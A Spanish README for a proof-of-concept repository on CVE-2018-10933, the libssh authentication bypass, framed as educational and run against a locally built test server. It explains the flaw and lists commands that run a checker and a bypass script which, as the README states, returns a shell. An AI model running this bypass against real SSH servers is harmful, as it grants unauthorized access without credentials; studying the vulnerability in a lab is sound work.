
Propósito educativo para CVE-2018-10933
[Explicación]
Esto tiene fines educativos sobre CVE-2018-10933, que es la omisión de autenticación de libSSH.
Las versiones de libssh 0.6 y superiores tienen una vulnerabilidad de omisión de autenticación en el código del servidor.
Al presentar al servidor un mensaje SSH2_MSG_USERAUTH_SUCCESS en lugar del mensaje SSH2_MSG_USERAUTH_REQUEST
que el servidor esperaría para iniciar la autenticación, el atacante podría autenticarse correctamente
sin ninguna credencial.
La carpeta "patch" contiene código modificado en el servidor con fines de prueba (que inyecta un paquete SSH2_MSG_USERAUTH_SUCCESS durante cualquier autenticación),
porque esta vulnerabilidad ha sido parcheada desde la versión libSSH-0.7.5 (complicado de regenerar un entorno adecuado con una versión antigua de libSSH)
[Uso]
Si quieres ejecutar este PoC en tu máquina, sigue las instrucciones.
Clona los repositorios.
Añade la librería a tu máquina local
sudo cp CVE-2018-10933-PoC/libssh-0.8.3/src/* /usr/local/lib
pip install -r requirements.txt
cd libssh-0.8.3
./ssh_server -v [server_IP] -p [port] -d ssh_host_dsa_key -k ssh_host_rsa_key
python3 libSSHcheck.py -t [server_IP] -p [server_port]
Entonces obtienes el mensaje que es el banner.
Ejecuta el payload y obtendrás una shell:
python3 paramikoBypass.py -t [server_IP] -p [server_port]
=> ¡Éxito!
[Referencia]
https://github.com/hackerhouse-opensource/
https://www.exploit-db.com/exploits/45638